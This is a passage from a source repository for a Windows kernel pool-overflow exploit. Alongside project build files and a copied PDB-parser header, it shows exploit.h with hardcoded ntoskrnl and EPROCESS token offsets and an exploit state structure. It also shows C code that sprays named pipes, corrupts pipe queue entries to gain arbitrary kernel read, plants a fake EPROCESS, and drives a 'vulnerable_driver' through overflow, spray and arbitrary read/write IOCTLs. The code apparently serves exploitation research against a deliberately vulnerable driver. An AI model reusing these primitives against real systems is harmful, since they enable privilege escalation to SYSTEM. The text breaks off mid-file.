70 | size_t nb_allocs; 71 | size_t alloc_size; 72 | POOL_TYPE pooltype; 73 | int tag; 74 | void * allocs[1]; 75 | } spray_t; 76 | -------------------------------------------------------------------------------- /poolqudong/poolqudong.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31911.196 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "poolqudong", "poolqudong\poolqudong.vcxproj", "{570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM = Debug|ARM 11 | Debug|ARM64 = Debug|ARM64 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|ARM = Release|ARM 15 | Release|ARM64 = Release|ARM64 16 | Release|x64 = Release|x64 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|ARM.ActiveCfg = Debug|ARM 21 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|ARM.Build.0 = Debug|ARM 22 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|ARM.Deploy.0 = Debug|ARM 23 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|ARM64.ActiveCfg = Debug|ARM64 24 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|ARM64.Build.0 = Debug|ARM64 25 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|ARM64.Deploy.0 = Debug|ARM64 26 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|x64.ActiveCfg = Debug|x64 27 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|x64.Build.0 = Debug|x64 28 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|x64.Deploy.0 = Debug|x64 29 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|x86.ActiveCfg = Debug|Win32 30 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|x86.Build.0 = Debug|Win32 31 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Debug|x86.Deploy.0 = Debug|Win32 32 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|ARM.ActiveCfg = Release|ARM 33 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|ARM.Build.0 = Release|ARM 34 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|ARM.Deploy.0 = Release|ARM 35 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|ARM64.ActiveCfg = Release|ARM64 36 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|ARM64.Build.0 = Release|ARM64 37 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|ARM64.Deploy.0 = Release|ARM64 38 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|x64.ActiveCfg = Release|x64 39 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|x64.Build.0 = Release|x64 40 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|x64.Deploy.0 = Release|x64 41 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|x86.ActiveCfg = Release|Win32 42 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|x86.Build.0 = Release|Win32 43 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E}.Release|x86.Deploy.0 = Release|Win32 44 | EndGlobalSection 45 | GlobalSection(SolutionProperties) = preSolution 46 | HideSolutionNode = FALSE 47 | EndGlobalSection 48 | GlobalSection(ExtensibilityGlobals) = postSolution 49 | SolutionGuid = {416BAB13-BFEF-4CC3-8FDC-3A5DED01FB3D} 50 | EndGlobalSection 51 | EndGlobal 52 | -------------------------------------------------------------------------------- /poolfs/poolfs/poolfs.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 源文件 26 | 27 | 28 | 源文件 29 | 30 | 31 | 源文件 32 | 33 | 34 | 源文件 35 | 36 | 37 | 源文件 38 | 39 | 40 | 源文件 41 | 42 | 43 | 源文件 44 | 45 | 46 | 源文件 47 | 48 | 49 | 源文件 50 | 51 | 52 | 源文件 53 | 54 | 55 | 源文件 56 | 57 | 58 | 59 | 60 | 头文件 61 | 62 | 63 | 头文件 64 | 65 | 66 | 头文件 67 | 68 | 69 | 头文件 70 | 71 | 72 | 头文件 73 | 74 | 75 | 头文件 76 | 77 | 78 | 头文件 79 | 80 | 81 | 头文件 82 | 83 | 84 | 头文件 85 | 86 | 87 | 头文件 88 | 89 | 90 | 头文件 91 | 92 | 93 | 头文件 94 | 95 | 96 | 头文件 97 | 98 | 99 | 头文件 100 | 101 | 102 | 头文件 103 | 104 | 105 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/pdb_utils.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file include/pdb_utils.h 3 | * @brief Utils 4 | * @copyright (c) 2017 Avast Software, licensed under the MIT license 5 | */ 6 | 7 | #ifndef RETDEC_PDBPARSER_PDB_UTILS_H 8 | #define RETDEC_PDBPARSER_PDB_UTILS_H 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | namespace retdec { 15 | namespace pdbparser { 16 | 17 | // ================================================================= 18 | // VISUAL C++ TYPES AND SCRUCTURES 19 | // ================================================================= 20 | 21 | typedef unsigned int PDB_DWORD; 22 | typedef PDB_DWORD * PDB_PDWORD; 23 | typedef char * PDB_DWORD_PTR; 24 | typedef int PDB_LONG; 25 | typedef PDB_LONG * PDB_PLONG; 26 | typedef unsigned int PDB_ULONG; 27 | typedef PDB_ULONG * PDB_PULONG; 28 | typedef char * PDB_ULONG_PTR; 29 | typedef char PDB_CHAR; 30 | typedef PDB_CHAR * PDB_PCHAR; 31 | typedef unsigned char PDB_UCHAR; 32 | typedef PDB_UCHAR * PDB_PUCHAR; 33 | typedef unsigned char PDB_BYTE; 34 | typedef PDB_BYTE * PDB_PBYTE; 35 | typedef unsigned short PDB_WORD; 36 | typedef PDB_WORD * PDB_PWORD; 37 | typedef short PDB_SHORT; 38 | typedef PDB_SHORT * PDB_PSHORT; 39 | typedef unsigned short PDB_USHORT; 40 | typedef PDB_USHORT * PDB_PUSHORT; 41 | typedef PDB_BYTE PDB_BOOLEAN; 42 | typedef void PDB_VOID; 43 | typedef void * PDB_PVOID; 44 | typedef size_t PDB_SIZE_T; 45 | 46 | #define TRUE true 47 | #define FALSE false 48 | 49 | #define CHAR_ sizeof(PDB_CHAR) 50 | #define WORD_ sizeof(PDB_WORD) 51 | #define SHORT_ sizeof(PDB_SHORT) 52 | #define USHORT_ sizeof(PDB_USHORT) 53 | #define LONG_ sizeof(PDB_LONG) 54 | #define ULONG_ sizeof(PDB_ULONG) 55 | #define DWORD_ sizeof(PDB_DWORD) 56 | 57 | typedef struct PDB__GUID 58 | { 59 | unsigned long Data1; 60 | unsigned short Data2; 61 | unsigned short Data3; 62 | unsigned char Data4[8]; 63 | } PDB_GUID; 64 | 65 | #define IMAGE_SIZEOF_SHORT_NAME 8 66 | 67 | typedef struct PDB__IMAGE_SECTION_HEADER 68 | { 69 | PDB_BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; 70 | union 71 | { 72 | PDB_DWORD PhysicalAddress; 73 | PDB_DWORD VirtualSize; 74 | } Misc; 75 | PDB_DWORD VirtualAddress; 76 | PDB_DWORD SizeOfRawData; 77 | PDB_DWORD PointerToRawData; 78 | PDB_DWORD PointerToRelocations; 79 | PDB_DWORD PointerToLinenumbers; 80 | PDB_WORD NumberOfRelocations; 81 | PDB_WORD NumberOfLinenumbers; 82 | PDB_DWORD Characteristics; 83 | } PDB_IMAGE_SECTION_HEADER, *PDB_PIMAGE_SECTION_HEADER; 84 | 85 | #ifndef MAX_PATH 86 | #define MAX_PATH 260 87 | #endif 88 | 89 | // ================================================================= 90 | // PDB PARSER TYPES AND STRUCTURES 91 | // ================================================================= 92 | 93 | // PDB Stream 94 | typedef struct _PDBStream 95 | { 96 | char * data; // stream data pointer 97 | int size; // stream size in bytes 98 | bool unused; // indicates unused stream 99 | bool linear; // stream is linear in PDB file 100 | } PDBStream; 101 | 102 | // PDB Modules vector 103 | typedef std::vector PDBStreamsVec; 104 | 105 | // PDB Module 106 | typedef struct _PDBModule 107 | { 108 | const char * name; // module name 109 | int stream_num; // number of stream with module symbols 110 | PDBStream * stream; // stream with module symbols 111 | } PDBModule; 112 | 113 | // PDB Modules vector 114 | typedef std::vector PDBModulesVec; 115 | 116 | // PDB PE Section 117 | typedef struct _PDBPESection 118 | { 119 | const char * name; // section name 120 | uint64_t virtual_address; // virtual address 121 | uint64_t file_address; // address in file 122 | } PDBPESection; 123 | 124 | // PDB PE sections vector 125 | typedef std::vector PDBSectionsVec; 126 | 127 | // General PDB symbol structure 128 | typedef struct _PDBGeneralSymbol 129 | { 130 | PDB_WORD size; // symbol data size 131 | PDB_WORD type; // symbol type 132 | PDB_BYTE data[]; // symbol data 133 | } PDBGeneralSymbol; 134 | 135 | // Big PDB symbol structure 136 | typedef struct _PDBBigSymbol 137 | { 138 | PDB_DWORD type; // symbol type 139 | PDB_DWORD size; // symbol data size 140 | PDB_BYTE data[]; // symbol data 141 | } PDBBigSymbol; 142 | 143 | // ================================================================= 144 | // UTILITY FUNCTIONS 145 | // ================================================================= 146 | 147 | PDB_PBYTE RecordValue(PDB_PBYTE pbData, PDB_PDWORD pdValue); // Get numeric value followed by string from PDB record 148 | void print_dwords(PDB_DWORD *data, int len); // Print list of dwords (hexadecomally) 149 | void print_bytes(PDB_BYTE *data, int len); // Print list of bytes (hexadecomally) 150 | 151 | } // namespace pdbparser 152 | } // namespace retdec 153 | 154 | #endif 155 | -------------------------------------------------------------------------------- /poolfs/poolfs/includes/exploit.h: -------------------------------------------------------------------------------- 1 | #ifndef EXPLOIT_H 2 | #define EXPLOIT_H 3 | 4 | #include "pipe_utils.h" 5 | 6 | /** 7 | * NTOSKRNL offsets hardcoded for ntoskrnl.exe with md5 799bb250b1ca24825186bf91f91756cd 8 | **/ 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | /* 21 | 22 | #define NPFS_NPFSDCREATE_OFFSET 0xB670 23 | #define NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET 0x7050 24 | #define NT_ALLOCATEPOOLWITHTAG_OFFSET 0x36F010 25 | #define NT_POOLQUOTACOOKIE_OFFSET 0x5748D0 26 | #define NT_RTLPHPHEAPGLOBALS_OFFSET 0x438780 27 | #define NT_PSINITIALSYSTEMPROCESS_OFFSET 0x5743A0 28 | */ 29 | //default 30 | 31 | #define NPFS_NPFSDCREATE_OFFSET_DEFAULT 0xb540 32 | #define NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT 0x7050 33 | #define NT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT 0x9b1030 34 | #define NT_POOLQUOTACOOKIE_OFFSET_DEFAULT 0xcfc9d0 35 | #define NT_RTLPHPHEAPGLOBALS_OFFSET_DEFAULT 0xc1dd60 36 | #define NT_PSINITIALSYSTEMPROCESS_OFFSET_DEFAULT 0xcfc420 37 | #define EPROCESS_PROCESSQUOTAUSAGE_DEFAULT 0x470 38 | #define EPROCESS_PROCESSQUOTAPEAK_DEFAULT 0x480 39 | #define EPROCESS_QUOTABLOCK_DEFAULT 0x568 40 | #define ACTIVEPROCESSLINKS_OFF_DEFAULT 0x448 41 | #define IMAGEFILENAME_OFF_DEFAULT 0x5a8 42 | #define EPROCESS_TOKEN_DEFAULT 0x4b8 43 | /** 44 | * NTOSKRNL offsets hardcoded for ntoskrnl.exe with md5 a45aaeef8e2fc6f0be3f91bae7764fcb 45 | * Only ExpPoolQuotaCookie differs 46 | **/ 47 | // #define NT_POOLQUOTACOOKIE_OFFSET 0x5748C8 48 | 49 | 50 | 51 | 52 | #define ROOT_PIPE_ATTRIBUTE_OFFSET 0x140 53 | #define ROOT_PIPE_QUEUE_ENTRY_OFFSET 0x48 54 | #define FILE_OBJECT_OFFSET 0x30 55 | 56 | #define POOL_HEADER_SIZE 0x10 57 | 58 | 59 | //#define FAKE_EPROCESS_SIZE 0x540 60 | #define FAKE_EPROCESS_SIZE 0xa20 61 | #define FAKE_EPROCESS_OFFSET 0x50 62 | 63 | 64 | // How much we go backward for the ghost chunk 65 | 66 | // how many chunks are sprayed 67 | #define SPRAY_SIZE 0x80 68 | 69 | enum pool_backend { 70 | LFH, 71 | VS 72 | }; 73 | 74 | typedef struct xploit_s 75 | { 76 | spray_type_t spray_type; 77 | unsigned long expected_tag; 78 | int targeted_pooltype; 79 | 80 | size_t offset_to_pool_header; 81 | 82 | enum pool_backend backend; 83 | 84 | pipe_spray_t * ghosts; 85 | pipe_spray_t * respray; 86 | pipe_spray_t * rewrite; 87 | pipe_spray_t * final_write; 88 | pipe_spray_t * final_write2; 89 | pipe_spray_t * lookaside1; 90 | pipe_spray_t * lookaside2; 91 | 92 | // Size of the realloc in the lookaside list WITHOUT the size of the 93 | // POOL_HEADER (the allocation will be +0x10) 94 | size_t ghost_chunk_size; 95 | 96 | // Size of the vulnerable chunk that overflows WITHOUT the size of the 97 | // POOL_HEADER (the allocation will be +0x10) 98 | size_t targeted_vuln_size; 99 | 100 | size_t struct_header_size; 101 | size_t ghost_chunk_offset; 102 | size_t backward_step; 103 | 104 | pipe_attribute_t * fake_pipe_attribute; 105 | pipe_queue_entry_sub_t * fake_pipe_queue_sub; 106 | size_t current_pipe_offset; 107 | 108 | size_t leak_offset; 109 | size_t leaking_pipe_idx; 110 | size_t ghost_idx; 111 | 112 | uintptr_t leak_root_attribute; 113 | uintptr_t leak_root_queue; 114 | 115 | 116 | uintptr_t leak_attribute_name; 117 | 118 | uintptr_t ghost_chunk; 119 | 120 | uintptr_t kernel_base; 121 | 122 | uintptr_t ExpPoolQuotaCookie; 123 | uintptr_t RtlpHpHeapGlobals; 124 | uintptr_t VSSubSegmentAddr; 125 | 126 | uintptr_t self_eprocess; 127 | uintptr_t self_token; 128 | 129 | uintptr_t fake_eprocess; 130 | 131 | size_t winlogon_pid; 132 | 133 | int (*get_leak)(struct xploit_s *, pipe_spray_t * ); 134 | void (*setup_ghost_overwrite)(struct xploit_s * , char *); 135 | void (*alloc_ghost_chunk)(struct xploit_s * , char * ); 136 | void (*alloc_fake_eprocess)(struct xploit_s * xploit, char * fake_eprocess_buf); 137 | void (*exploit_arbitrary_read)(struct xploit_s * xploit, uintptr_t where, char * out, size_t size); 138 | void (*free_ghost_chunk)(struct xploit_s* xploit); 139 | void (*setup_final_write)(struct xploit_s* xploit, char * buffer); 140 | uintptr_t (*find_file_object)(struct xploit_s * xploit); 141 | 142 | uintptr_t npfs_npfsdcreate_offset; 143 | uintptr_t npfs_got_allocatepoolwithtag_offset; 144 | uintptr_t nt_allocatepoolwithtag_offset; 145 | uintptr_t nt_poolquotacookie_offset; 146 | uintptr_t nt_rtlphpheapglobals_offset; 147 | uintptr_t nt_psinitialsystemprocess_offset; 148 | uintptr_t eprocess_processquotausage; 149 | //uintptr_t eprocess_processquotapeak; 150 | uintptr_t eprocess_quotablock; 151 | uintptr_t activeprocesslinks_off; 152 | uintptr_t imagefilename_off; 153 | uintptr_t eprocess_token; 154 | 155 | } xploit_t; 156 | #ifdef __cplusplus 157 | extern "C" { 158 | boolean config(xploit_t* xploit); 159 | boolean config_default(xploit_t* xploit); 160 | int CreateNewProcess(const wchar_t* session); 161 | int SwapProccess(); 162 | } 163 | #else 164 | boolean config(xploit_t* xploit); 165 | boolean config_default(xploit_t* xploit); 166 | int CreateNewProcess(const wchar_t* session); 167 | int SwapProccess(); 168 | #endif 169 | 170 | #endif 171 | 172 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/nonpagedpool_utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | #include "exploit.h" 5 | #include "pipe_utils.h" 6 | #include "logs.h" 7 | 8 | void npp_exploit_arbitrary_read(xploit_t * xploit, uintptr_t where, char * out, size_t size) 9 | { 10 | char arb_read[0x1000]; 11 | 12 | // I need a temporary buffer and don't want to code a loop, so max it to 0x1000 13 | if (size >= 0x1000) 14 | size = 0xFFF; 15 | 16 | xploit->fake_pipe_queue_sub->data_ptr = where - xploit->current_pipe_offset; 17 | read_pipe(&xploit->ghosts->pipes[xploit->ghost_idx], arb_read, size); 18 | xploit->current_pipe_offset += size; 19 | memcpy(out, arb_read, size); 20 | } 21 | 22 | 23 | uintptr_t npp_find_file_object(xploit_t * xploit) 24 | { 25 | uintptr_t file_object_ptr; 26 | uintptr_t pipe_queue_entry_addr; 27 | 28 | file_object_ptr = xploit->leak_root_queue - ROOT_PIPE_QUEUE_ENTRY_OFFSET + FILE_OBJECT_OFFSET; 29 | xploit->leak_root_attribute = xploit->leak_root_queue - ROOT_PIPE_QUEUE_ENTRY_OFFSET + ROOT_PIPE_ATTRIBUTE_OFFSET; 30 | 31 | npp_exploit_arbitrary_read(xploit, xploit->leak_root_queue, (char *)&pipe_queue_entry_addr, 0x8); 32 | xploit->ghost_chunk = pipe_queue_entry_addr - POOL_HEADER_SIZE; 33 | 34 | printf("[+] ghost_chunk is : 0x%llX\n", xploit->ghost_chunk); 35 | printf("[+] leak_root_attribute is : 0x%llX\n", xploit->leak_root_attribute); 36 | 37 | 38 | return file_object_ptr; 39 | } 40 | 41 | void npp_alloc_fake_eprocess(xploit_t * xploit, char * fake_eprocess_buf) 42 | { 43 | uintptr_t fake_eprocess_attribute; 44 | // The pipe queue entry list is corrupted, use the pipe attribute to store arbitrary data in the kernel 45 | set_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], fake_eprocess_buf, DUMB_ATTRIBUTE_NAME2_LEN+(FAKE_EPROCESS_SIZE * 2)); 46 | 47 | 48 | // We can read prev or next of the root to find the attribute that contains the arbitrary data 49 | npp_exploit_arbitrary_read(xploit, xploit->leak_root_attribute+0x8, (char *)&fake_eprocess_attribute, 0x8); 50 | printf("[+] fake_eprocess_attribute is : 0x%llx\n", fake_eprocess_attribute); 51 | 52 | // The data of the fake EPROCESS is at fake_eprocess_attribute->AttributeValue 53 | npp_exploit_arbitrary_read(xploit, fake_eprocess_attribute+0x20, (char *)&xploit->fake_eprocess, 0x8); 54 | } 55 | 56 | void npp_free_ghost_chunk(xploit_t * xploit) 57 | { 58 | char string[0x100]; 59 | read_pipe(&xploit->ghosts->pipes[xploit->ghost_idx], string, 1); 60 | } 61 | 62 | void npp_alloc_ghost_chunk(xploit_t * xploit, char * buffer) 63 | { 64 | write_pipe(&xploit->ghosts->pipes[xploit->ghost_idx], buffer, xploit->ghost_chunk_size-xploit->struct_header_size); 65 | } 66 | 67 | void npp_setup_final_write(xploit_t * xploit, char * buffer) 68 | { 69 | *(uintptr_t *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x10) = xploit->leak_root_queue; 70 | *(uintptr_t *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x18) = xploit->leak_root_queue; 71 | *(uintptr_t *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x20) = (uintptr_t)0; 72 | *(uintptr_t *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x28) = (uintptr_t)0; 73 | *(unsigned long *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x38) = (unsigned long)xploit->current_pipe_offset; 74 | *(unsigned long *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x3c) = (unsigned long)0; 75 | } 76 | 77 | void npp_setup_ghost_overwrite(xploit_t * xploit, char * ghost_overwrite_buf) 78 | { 79 | pipe_queue_entry_t * overwritten_pipe_entry; 80 | 81 | overwritten_pipe_entry = (pipe_queue_entry_t*)((char *)ghost_overwrite_buf + xploit->ghost_chunk_offset + POOL_HEADER_SIZE); 82 | overwritten_pipe_entry->list.Flink = (LIST_ENTRY *)xploit->leak_root_queue; 83 | overwritten_pipe_entry->list.Blink = (LIST_ENTRY *)xploit->leak_root_queue; 84 | 85 | overwritten_pipe_entry->field_10 = (uintptr_t)xploit->fake_pipe_queue_sub; 86 | overwritten_pipe_entry->security = 0; 87 | 88 | 89 | overwritten_pipe_entry->field_20 = 0x1; 90 | overwritten_pipe_entry->DataSize = 0xffffffff; 91 | overwritten_pipe_entry->remaining_bytes = 0xffffffff; 92 | overwritten_pipe_entry->field_2C = 0x43434343; 93 | } 94 | 95 | int npp_get_leak(xploit_t * xploit, pipe_spray_t * respray) 96 | { 97 | char leak[0x1000] = {0}; 98 | 99 | xploit->leak_offset = xploit->targeted_vuln_size 100 | + xploit->offset_to_pool_header - xploit->backward_step 101 | - xploit->struct_header_size; 102 | printf("[+] Leak offset is 0x%X\n", xploit->leak_offset); 103 | 104 | // leak the data contained in ghost chunk 105 | xploit->leaking_pipe_idx = read_pipes(respray, leak); 106 | if (xploit->leaking_pipe_idx == -1) 107 | { 108 | if (xploit->backend == LFH) 109 | fprintf(stderr, "[-] Reading pipes found no leak :(\n"); 110 | else 111 | LOG_DEBUG("Reading pipes found no leak"); 112 | return 0; 113 | } 114 | 115 | printf("[+] Pipe %d of respray leaked data !\n", xploit->leaking_pipe_idx); 116 | 117 | // Read first qword of the leaked object 118 | // It is the pointer to the root pipe queue entry list 119 | xploit->leak_root_queue = *(uintptr_t *)((char *)leak + xploit->leak_offset + POOL_HEADER_SIZE); 120 | 121 | printf("[+] xploit->leak_root_queue ptr is 0x%llX\n", xploit->leak_root_queue); 122 | return 1; 123 | } 124 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/vuln_driver_client.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "Ioctl.h" 7 | #include "vuln_driver_client.h" 8 | 9 | 10 | HANDLE driver_handle = 0; 11 | 12 | NtQuerySystemInformation_t g_pNtQuerySystemInformation = NULL; 13 | 14 | DWORD64 getObjectAddressWithHandle(HANDLE hObjectHandle, UINT nMaxSearchTry) 15 | { 16 | NTSTATUS st; 17 | PSYSTEM_EXTENDED_HANDLE_INFORMATION handleInfo; 18 | ULONG handleInfoLen = 0x10000; 19 | DWORD pid = GetCurrentProcessId(); 20 | 21 | if (!g_pNtQuerySystemInformation) 22 | { 23 | HMODULE h = LoadLibraryA("ntdll.dll"); 24 | g_pNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(h, "NtQuerySystemInformation"); 25 | 26 | if (!g_pNtQuerySystemInformation) 27 | { 28 | printf("[-]Failed to get the address of NtAllocateReserveObject"); 29 | return 0; 30 | } 31 | } 32 | 33 | DWORD64 ret = 0; 34 | 35 | for (UINT j = 0; j < nMaxSearchTry; j++) 36 | { 37 | 38 | handleInfoLen = 0x10000; 39 | handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)malloc(handleInfoLen); 40 | while ((st = g_pNtQuerySystemInformation( 41 | SystemExtendedHandleInformation2, 42 | handleInfo, 43 | handleInfoLen, 44 | NULL 45 | )) == STATUS_INFO_LENGTH_MISMATCH) 46 | handleInfo = (PSYSTEM_EXTENDED_HANDLE_INFORMATION)realloc(handleInfo, handleInfoLen *= 2); 47 | 48 | 49 | // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH. 50 | if (!NT_SUCCESS(st)) { 51 | printf("[-]NtQuerySystemInformation failed !\n"); 52 | return 0; 53 | } 54 | for (UINT i = 0; i < handleInfo->NumberOfHandles; i++) 55 | { 56 | if (handleInfo->Handles[i].HandleValue == hObjectHandle && pid == handleInfo->Handles[i].UniqueProcessId) 57 | { 58 | ret = ((DWORD64)(handleInfo->Handles[i].Object)); 59 | free(handleInfo); 60 | return ret; 61 | } 62 | } 63 | free(handleInfo); 64 | } 65 | return 0; 66 | } 67 | 68 | void open_driver(void) 69 | { 70 | printf("[+] Opening driver "DRIVER_PATH" ...\n"); 71 | driver_handle = CreateFileA(DRIVER_PATH, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL); 72 | if(driver_handle == INVALID_HANDLE_VALUE) 73 | { 74 | printf("Could not open %s file, error %d\n", DRIVER_PATH, GetLastError()); 75 | exit(0); 76 | } 77 | } 78 | 79 | uintptr_t alloc_ioctl(size_t alloc_size, unsigned long pooltype, int tag) 80 | { 81 | DWORD ret = 0; 82 | ioctl_alloc_t * ioctl_input = malloc(sizeof(ioctl_alloc_t)); 83 | uintptr_t res = 0; 84 | DWORD nb_bytes = 0; 85 | 86 | ioctl_input->alloc_size = alloc_size; 87 | ioctl_input->pooltype = pooltype; 88 | ioctl_input->tag = tag; 89 | 90 | printf("[+] Allocating buffer with size 0x%X \n", alloc_size); 91 | 92 | ret = DeviceIoControl(driver_handle, IOCTL_ALLOC_BUFFER, ioctl_input, sizeof(ioctl_alloc_t), (LPVOID)&res, sizeof(res), &nb_bytes, 0); 93 | return res; 94 | } 95 | 96 | int overflow_ioctl(size_t buffer_size, char * data) 97 | { 98 | ioctl_copy_t * ioctl_input = malloc(sizeof(ioctl_copy_t)); 99 | int res; 100 | DWORD nb_bytes; 101 | 102 | ioctl_input->buffer_size = buffer_size; 103 | ioctl_input->data = data; 104 | 105 | DeviceIoControl(driver_handle, IOCTL_COPY, ioctl_input, sizeof(ioctl_copy_t), (LPVOID)&res, sizeof(res), &nb_bytes, 0); 106 | return res; 107 | } 108 | 109 | void free_ioctl() 110 | { 111 | int res; 112 | DWORD nb_bytes; 113 | DeviceIoControl(driver_handle, IOCTL_FREE_BUFFER, NULL, 0, (LPVOID)&res, sizeof(res), &nb_bytes, 0); 114 | } 115 | 116 | int spray(size_t alloc_size, size_t nb_allocs, unsigned long pooltype, unsigned long tag, bool log) 117 | { 118 | ioctl_spray_t * ioctl_input = malloc(sizeof(ioctl_spray_t)); 119 | void * res = malloc(sizeof(size_t) + nb_allocs * sizeof(uintptr_t)); 120 | uintptr_t *allocs = (uintptr_t*)((uintptr_t)res + sizeof(size_t)); 121 | DWORD nb_bytes; 122 | 123 | ioctl_input->alloc_size = alloc_size; 124 | ioctl_input->nb_allocs = nb_allocs; 125 | ioctl_input->pooltype = pooltype; 126 | ioctl_input->tag = tag; 127 | 128 | printf("[+] Spraying 0x%X chunks of size 0x%X \n", nb_allocs, alloc_size); 129 | 130 | DeviceIoControl(driver_handle, IOCTL_SPRAY, ioctl_input, sizeof(ioctl_spray_t), res, sizeof(size_t) + (sizeof(uintptr_t) * nb_allocs), &nb_bytes, 0); 131 | 132 | printf("[+] Spray index %d\n", *(size_t *)res); 133 | if (log) { 134 | for (int i = 0; i < nb_allocs; i++) { 135 | printf("[+] Spray allocated at %p\n", allocs[i]); 136 | } 137 | } 138 | 139 | free(ioctl_input); 140 | return *(size_t *)res; 141 | } 142 | 143 | int unspray(int spray_index) 144 | { 145 | size_t input; 146 | int res; 147 | DWORD nb_bytes; 148 | 149 | printf("[+] Unspraying %d...\n", spray_index); 150 | 151 | input = spray_index; 152 | 153 | DeviceIoControl(driver_handle, IOCTL_UNSPRAY, &input, sizeof(size_t), (LPVOID)&res, sizeof(res), &nb_bytes, 0); 154 | return res; 155 | } 156 | 157 | int arbitrary_read(uintptr_t where, char *what, size_t size) 158 | { 159 | ioctl_arb_primitive_t * input = malloc(sizeof(ioctl_arb_primitive_t)); 160 | DWORD ret = 0; 161 | DWORD nb_bytes; 162 | 163 | input->where = where; 164 | input->size = size; 165 | ret = DeviceIoControl(driver_handle, IOCTL_READ, input, sizeof(ioctl_arb_primitive_t), (LPVOID)what, size, &nb_bytes, 0); 166 | return ret; 167 | } 168 | 169 | int arbitrary_write(uintptr_t where, char *what, size_t size) 170 | { 171 | ioctl_arb_primitive_t * input = malloc(sizeof(ioctl_arb_primitive_t) + size); 172 | int res; 173 | DWORD ret = 0; 174 | 175 | input->where = where; 176 | input->size = size; 177 | memcpy(input->what, what, size); 178 | DWORD nb_bytes; 179 | 180 | ret = DeviceIoControl(driver_handle, IOCTL_WRITE, input, sizeof(ioctl_arb_primitive_t) + size, (LPVOID)&res, sizeof(res), &nb_bytes, 0); 181 | return ret; 182 | } 183 | 184 | int bp(void) 185 | { 186 | DWORD ret = 0; 187 | ret = DeviceIoControl(driver_handle, IOCTL_BP, NULL, 0, NULL, 0, NULL, 0); 188 | return ret; 189 | } 190 | 191 | #define DRIVER_PATH "\\\\.\\vulnerable_driver" 192 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/pagedpool_utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | #include "exploit.h" 5 | #include "pipe_utils.h" 6 | #include "logs.h" 7 | 8 | void 